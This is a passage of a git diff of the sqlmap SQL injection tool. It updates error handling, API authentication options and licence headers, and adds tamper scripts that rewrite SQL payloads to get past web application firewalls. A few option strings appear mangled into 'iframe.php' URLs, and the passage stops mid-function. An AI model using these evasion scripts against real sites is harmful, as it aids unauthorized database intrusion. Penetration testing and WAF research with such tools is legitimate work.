logger.error(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")): + errMsg = "please update the 'sqlalchemy' package" + errMsg += "(Reference: https://github.com/apache/incubator-superset/issues/3447)" + logger.error(errMsg) + raise SystemExit + elif "can't start new thread" in excMsg: errMsg = "there has been a problem while creating new thread instance. " errMsg += "Please make sure that you are not running too many processes" @@ -260,6 +278,13 @@ def main(): logger.error(errMsg) raise SystemExit + elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): + errMsg = "there has been a problem in enumeration. " + errMsg += "Because of a considerable chance of false-positive case " + errMsg += "you are advised to rerun with switch '--flush-session'" + logger.error(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("pymysql", "configparser")): errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)" logger.error(errMsg) @@ -275,6 +300,9 @@ def main(): elif "valueStack.pop" in excMsg and kb.get("dumpKeyboardInterrupt"): raise SystemExit + elif any(_ in excMsg for _ in ("Broken pipe",)): + raise SystemExit + for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1) file_ = os.path.relpath(file_, os.path.dirname(__file__)) @@ -285,7 +313,7 @@ def main(): errMsg = maskSensitiveData(errMsg) excMsg = maskSensitiveData(excMsg) - if hasattr(conf, "api"): + if conf.get("api") or not valid: logger.critical("%s\n%s" % (errMsg, excMsg)) else: logger.critical(errMsg) @@ -320,13 +348,17 @@ def main(): except KeyboardInterrupt: pass + if conf.get("harFile"): + with openFile(conf.harFile, "w+b") as f: + json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) + if cmdLineOptions.get("sqlmapShell"): cmdLineOptions.clear() conf.clear() kb.clear() main() - if hasattr(conf, "api"): + if conf.get("api"): try: conf.databaseCursor.disconnect() except KeyboardInterrupt: diff --git a/sqlmapapi.py b/sqlmapapi.py index 09c1a9340df..c653aa3002e 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,18 +1,23 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ -import logging -import optparse import sys sys.dont_write_bytecode = True __import__("lib.utils.versioncheck") # this has to be the first non-standard import +import logging +import optparse +import warnings + +warnings.filterwarnings(action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fignore", message=".*was already imported", category=UserWarning) +warnings.filterwarnings(action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fignore", category=DeprecationWarning) + from sqlmap import modulePath from lib.core.common import setPaths from lib.core.data import logger @@ -40,13 +45,15 @@ def main(): apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore") apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore") apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore") + apiparser.add_option("--username", help="Basic authentication username (optional)", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore") + apiparser.add_option("--password", help="Basic authentication password (optional)", action="iframe.php?url=https%3A%2F%2Fgithub.com%2Fstore") (args, _) = apiparser.parse_args() # Start the client or the server if args.server is True: - server(args.host, args.port, adapter=args.adapter) + server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password) elif args.client is True: - client(args.host, args.port) + client(args.host, args.port, username=args.username, password=args.password) else: apiparser.print_help() diff --git a/tamper/__init__.py b/tamper/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 7504f0c4847..f41465a30dc 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index cd2a4d11512..73f4309abc5 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index b727af909f1..f7c7d42d8ca 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/base64encode.py b/tamper/base64encode.py index c6b460b9110..1ff2b521823 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import base64 diff --git a/tamper/between.py b/tamper/between.py index 26358fa866a..57edd5151de 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 7e971b1f504..0258f698302 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 93623eeba69..c7b51c646b8 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import string diff --git a/tamper/charencode.py b/tamper/charencode.py index ee2339e72e6..ea7f4a2a476 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import string diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index d578439e524..b0e34aad170 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py new file mode 100644 index 00000000000..913ea950b48 --- /dev/null +++ b/tamper/charunicodeescape.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def tamper(payload, **kwargs): + """ + Unicode-escapes non-encoded characters in a given payload (not + processing already encoded) + + Notes: + * Useful to bypass weak filtering and/or WAFs in JSON contexes + + >>> tamper('SELECT FIELD FROM TABLE') + '\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += "\\u00%s" % payload[i + 1:i + 3] + i += 3 + else: + retVal += '\\u%.4X' % ord(payload[i]) + i += 1 + + return retVal diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index a88fefedbc1..636b65710b9 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index caebbc190a1..c0d9feaceb2 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py new file mode 100644 index 00000000000..f736a557040 --- /dev/null +++ b/tamper/commentbeforeparentheses.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Prepends (inline) comment before parentheses + + Tested against: + * Microsoft SQL Server + * MySQL + * Oracle + * PostgreSQL + + Notes: + * Useful to bypass web application firewalls that block usage + of function calls + + >>> tamper('SELECT ABS(1)') + 'SELECT ABS/**/(1)' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\b(\w+)\(", "\g<1>/**/(", retVal) + + return retVal diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index 92404a060ec..f59fd350972 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index 1aa5a47a39e..0a59962e4d1 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -19,7 +19,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces all occurances of operator equal ('=') with operator 'LIKE' + Replaces all occurrences of operator equal ('=') with operator 'LIKE' Tested against: * Microsoft SQL Server 2005 diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index 6b5dd51347f..df6ac57e552 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/greatest.py b/tamper/greatest.py index 012cc677195..33e447132e6 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -36,10 +36,10 @@ def tamper(payload, **kwargs): retVal = payload if payload: - match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>#-]+)", payload) + match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) if match: - _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), match.group(4)) + _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(3), match.group(4), match.group(3)) retVal = retVal.replace(match.group(0), _) return retVal diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index ef9c4ff61ff..d42aafee89c 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index d30d11884b3..78c244ceea7 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py new file mode 100644 index 00000000000..5ac14a559a0 --- /dev/null +++ b/tamper/ifnull2casewhenisnull.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' + + Requirement: + * MySQL + * SQLite (possibly) + * SAP MaxDB (possibly) + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the IFNULL() functions + + >>> tamper('IFNULL(1, 2)') + 'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END' + """ + + if payload and payload.find("IFNULL") > -1: + while payload.find("IFNULL(") > -1: + index = payload.find("IFNULL(") + depth = 1 + comma, end = None, None + + for i in xrange(index + len("IFNULL("), len(payload)): + if depth == 1 and payload[i] == ',': + comma = i + + elif depth == 1 and payload[i] == ')': + end = i + break + + elif payload[i] == '(': + depth += 1 + + elif payload[i] == ')': + depth -= 1 + + if comma and end: + _ = payload[index + len("IFNULL("):comma] + __ = payload[comma + 1:end].lstrip() + newVal = "CASE WHEN ISNULL(%s) THEN (%s) ELSE (%s) END" % (_, __, _) + payload = payload[:index] + newVal + payload[end + 1:] + else: + break + + return payload + + diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 5772492b1cf..956629296ca 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 31cb5872b75..4b805d0de04 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/least.py b/tamper/least.py new file mode 100644 index 00000000000..6dc9630584a --- /dev/null +++ b/tamper/least.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces greater than operator ('>') with 'LEAST' counterpart + + Tested against: + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass weak and bespoke web application firewalls that + filter the greater than character + * The LEAST clause is a widespread SQL command. Hence, this + tamper script should work against majority of databases + + >>> tamper('1 AND A > B') + '1 AND LEAST(A,B+1)=B+1' + """ + + retVal = payload + + if payload: + match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) + + if match: + _ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4)) + retVal = retVal.replace(match.group(0), _) + + return retVal diff --git a/tamper/lowercase.py b/tamper/lowercase.py index f1383048817..2d2a93e087c 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 54945b44029..808667997d1 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import randomInt diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index 1f476218ca7..77faed32f30 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index 36fb7155c3d..db83866ebc7 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import random diff --git a/tamper/nonrecursivereplacement.py b/tamper/nonrecursivereplacement.py index 864bf3962ad..dbfe2ca2b12 100644 --- a/tamper/nonrecursivereplacement.py +++ b/tamper/nonrecursivereplacement.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import random diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index 5335148fe91..a8a9da412b9 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import string diff --git a/tamper/percentage.py b/tamper/percentage.py index 167e58b8376..0a32661e588 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index 8c4de887335..e22d0f5905a 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ +import re + from lib.core.common import zeroDepthSearch from lib.core.enums import PRIORITY @@ -28,6 +30,9 @@ def tamper(payload, **kwargs): >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' + + >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') + 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' """ retVal = payload @@ -35,6 +40,7 @@ def tamper(payload, **kwargs): if payload: while True: indexes = zeroDepthSearch(retVal, '+') + if indexes: first, last = 0, 0 for i in xrange(1, len(indexes)): @@ -52,6 +58,19 @@ def tamper(payload, **kwargs): retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:]) else: - break + match = re.search(r"\((CHAR\(\d+.+CHAR\(\d+\))\)", retVal) + if match: + part = match.group(0) + indexes = set(zeroDepthSearch(match.group(1), '+')) + if not indexes: + break + chars = [char for char in part] + for i in xrange(1, len(chars)): + if i - 1 in indexes: + chars[i] = ',' + replacement = "CONCAT%s" % "".join(chars) + retVal = retVal.replace(part, replacement) + else: + break return retVal diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py new file mode 100644 index 00000000000..d50805dd688 --- /dev/null +++ b/tamper/plus2fnconcat.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.common import zeroDepthSearch +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces plus ('+') character with ODBC function {fn CONCAT()} + + Tested against: + * Microsoft SQL Server 2008 + + Requirements: + * Microsoft SQL Server 2008+ + + Notes: + * Useful in case ('+') character is filtered + * https://msdn.microsoft.com/en-us/library/bb630290.aspx + + >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') + 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' + + >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') + 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' + """ + + retVal = payload + + if payload: + while True: + indexes = zeroDepthSearch(retVal, '+') + + if indexes: + first, last = 0, 0 + for i in xrange(1, len(indexes)): + if ' ' in retVal[indexes[0]:indexes[i]]: + break + else: + last = i + + start = retVal[:indexes[first]].rfind(' ') + 1 + end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 + + count = 0 + chars = [char for char in retVal] + for index in indexes[first:last + 1]: + if count == 0: + chars[index] = ',' + else: + chars[index] = '\x01' + count += 1 + + retVal = "%s%s%s)}%s" % (retVal[:start], "{fn CONCAT(" * count, ''.join(chars)[start:end].replace('\x01', ")},"), retVal[end:]) + else: + match = re.search(r"\((CHAR\(\d+.+CHAR\(\d+\))\)", retVal) + if match: + part = match.group(0) + indexes = set(zeroDepthSearch(match.group(1), '+')) + if not indexes: + break + + count = 0 + chars = [char for char in part] + for i in xrange(1, len(chars)): + if i - 1 in indexes: + if count == 0: + chars[i] = ',' + else: + chars[i] = '\x01' + count += 1 + + replacement = "%s%s}" % (("{fn CONCAT(" * count)[:-1], "".join(chars).replace('\x01', ")},")) + retVal = retVal.replace(part, replacement) + else: + break + + return retVal diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 62b858b1c5a..9f89cc60801 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index e2e6d95c980..d568ff10681 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/tamper/securesphere.py b/tamper/securesphere.py index 364143839a7..3d1a4047ec1 100644 --- a/tamper/securesphere.py +++ b/tamper/securesphere.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/sp_password.py b/tamper/sp_password.py index ef6c92d158a..9ea759018a9 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 120c060d3e6..1f570fc91a3 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 1a8b2a964b9..94cfc8d24b2 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import random diff --git a/tamper/space2hash.py b/tamper/space2hash.py index ae7f8e491b9..c21e3f04130 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py new file mode 100644 index 00000000000..0fa476d5973 --- /dev/null +++ b/tamper/space2morecomment.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces space character (' ') with comments '/**_**/' + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass weak and bespoke web application firewalls + + >>> tamper('SELECT id FROM users') + 'SELECT/**_**/id/**_**/FROM/**_**/users' + """ + + retVal = payload + + if payload: + retVal = "" + quote, doublequote, firstspace = False, False, False + + for i in xrange(len(payload)): + if not firstspace: + if payload[i].isspace(): + firstspace = True + retVal += "/**_**/" + 